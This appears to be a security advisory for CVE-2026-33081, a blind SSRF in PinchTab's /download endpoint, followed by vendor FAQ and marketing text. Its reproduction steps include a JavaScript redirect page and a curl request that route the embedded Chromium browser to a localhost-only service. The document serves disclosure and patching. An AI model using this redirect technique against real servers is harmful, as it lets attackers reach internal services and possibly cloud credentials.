Summary
The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.
Exploitation requires \security.allowDownload=true, which is disabled by default.
However, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.
Because the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.
This results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.
Steps to Reproduce:
Environment Setup
Target: PinchTab server (tested on v0.8.x, v0.7.x)
Attacker-controlled server: Publicly accessible (e.g., via ngrok) attacker.py
Internal service: Runs on the same host as PinchTab and is not externally accessible internal_service.py
1. Start a Local Internal Service (Victim Side)
Run a simple HTTP service bound to localhost: internal_service.py
python internal_service.py
#Example behavior of internal_service.py:
#Listens on 127.0.0.1:1337
#Exposes endpoint /increment
#Increments a counter and logs requests
#Expected output when accessed:
#COUNTER INCREMENTED: 1
#COUNTER INCREMENTED: 2
2. Host an Attacker-Controlled Page (Attacker side)
Deploy a malicious HTML page that redirects to the internal service: attacker.py
<html>
<body>
<script>
setTimeout(function(){
window.location = "http://127.0.0.1:1337/increment";
}, 1500);
</script>
</body>
</html>
Host this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app
3. Trigger the Vulnerable Endpoint (Attacker side)
Send a request to the PinchTab /download endpoint:
curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"
If a server token is configured, the request must include valid authentication.
4. Observe Server-Side Request to Localhost
When PinchTab processes the request:
- It launches a headless Chromium instance
- The browser loads the attacker-controlled page
- JavaScript executes within the browser
- The browser redirects to: http://127.0.0.1:1337/increment
5. Verify the Impact
Check the output of internal_service.py:
COUNTER INCREMENTED: 1
This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.
Impact
This vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.
Although the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.
Mitigation
Apply the same URL safety policy to every browser-issued request in the /download flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.
Impact
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-33081 has a CVSS score of 5.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33081? CVE-2026-33081 is a medium-severity server-side request forgery (SSRF) vulnerability in github.com/pinchtab/pinchtab (go), affecting versions <= 0.8.2. It is fixed in 0.8.3. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-33081? CVE-2026-33081 has a CVSS score of 5.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/pinchtab/pinchtab are affected by CVE-2026-33081? github.com/pinchtab/pinchtab (go) versions <= 0.8.2 is affected.
- Is there a fix for CVE-2026-33081? Yes. CVE-2026-33081 is fixed in 0.8.3. Upgrade to this version or later.
- Is CVE-2026-33081 exploitable, and should I be worried? Whether CVE-2026-33081 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33081 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33081? Upgrade
github.com/pinchtab/pinchtabto 0.8.3 or later.